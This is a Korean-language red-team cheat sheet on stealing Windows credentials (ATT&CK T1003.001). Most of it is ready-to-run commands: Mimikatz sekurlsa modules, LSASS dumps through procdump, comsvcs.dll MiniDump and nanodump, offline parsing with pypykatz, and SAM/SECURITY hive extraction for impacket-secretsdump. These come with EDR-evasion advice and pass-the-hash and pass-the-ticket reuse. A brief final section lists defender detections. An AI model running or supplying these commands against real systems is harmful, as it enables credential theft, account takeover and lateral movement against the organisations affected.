ATT&CK: T1003.001 LSASS Memory · Credential Access (TA0006)

Mimikatz는 Benjamin Delpy의 자격증명 추출 도구. 공식 사용은 사실상 “역사적 기준점"이고, 실전에서는 직접 실행하지 않고 LSASS 덤프 → 오프라인에서 pypykatz로 파싱하는 조합이 OPSEC상 유리하다.

1. 전통적 방식 — 호스트에서 직접

# 관리자 PowerShell
.\mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
sekurlsa::wdigest
sekurlsa::tickets /export
exit
  • privilege::debug: SeDebugPrivilege 활성화. Admin 필수.
  • sekurlsa::logonpasswords: LSA 세션에서 NTLM/Kerberos/WDigest 자격 추출.
  • sekurlsa::tickets /export: TGT/TGS 파일로 추출 → 외부에서 Rubeus pass-the-ticket.

현실: 모든 메이저 EDR이 Mimikatz 바이너리 시그니처와 API 호출 패턴을 탐지한다. 2024년 이후 raw 바이너리로는 거의 작동 안 함.

2. 추천 패턴 — LSASS 덤프 + 오프라인 파싱

2.1 LSASS 메모리 덤프 (호스트 쪽)

procdump (Sysinternals, 서명됨):

procdump.exe -accepteula -ma lsass.exe lsass.dmp

comsvcs.dll MiniDump (Living off the land, 외부 바이너리 X):

$lsass = (Get-Process lsass).Id
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsass C:\temp\lsass.dmp full

nanodump (프로젝트 중 선호되는 syscalls 기반, 서명 EXE/DLL 지원):

nanodump.exe -w lsass.dmp

2.2 외부에서 파싱 — pypykatz

pip install pypykatz
pypykatz lsa minidump lsass.dmp

출력 포맷:

== LogonSession ==
username: Administrator
NT: aad3b435b51404ee...  # NTLM hash
LM: ...
SHA1: ...
tspkg_creds, kerberos_creds, msv_creds 등

NTLM 해시는 pass-the-hash로, Kerberos ticket은 pass-the-ticket으로 재사용.

3. SAM/SECURITY/SYSTEM 하이브 (오프라인)

로컬 머신의 SAM 데이터베이스는 보통 LSASS 덤프보다 조용하게 뽑힌다:

reg save HKLM\SAM sam.save
reg save HKLM\SYSTEM system.save
reg save HKLM\SECURITY security.save

파싱:

# impacket-secretsdump
impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL

로컬 사용자 NTLM 해시와 LSA secrets, cached domain credentials가 쏟아진다.

4. OPSEC

  • ETW/AMSI 로그: Microsoft-Windows-LSA ETW provider가 LSASS 접근을 전부 기록. EDR이 아니라 OS 레벨에서도 탐지 가능.
  • PPL(Protected Process Light): Windows 10 1607+ 기본, Windows 11에서 더 강함. 우회에 ski 커널 드라이버 로드가 필요한 경우가 많음 → 노이즈 극대화.
  • 대안: Credential Guard가 켜져있으면 LSASS에 평문 자격이 아예 없음. 이땐 Kerberos ticket 쪽을 노리는 게 낫다 (T1558).

5. 방어자 체크포인트

  • Sysmon Event ID 10 (ProcessAccess) with TargetImage == lsass.exe + 비정상적인 GrantedAccess.
  • 서명 안 된 바이너리가 LSASS 핸들 요청하면 즉시 알림.
  • LSA Protection + Credential Guard 활성화.

참고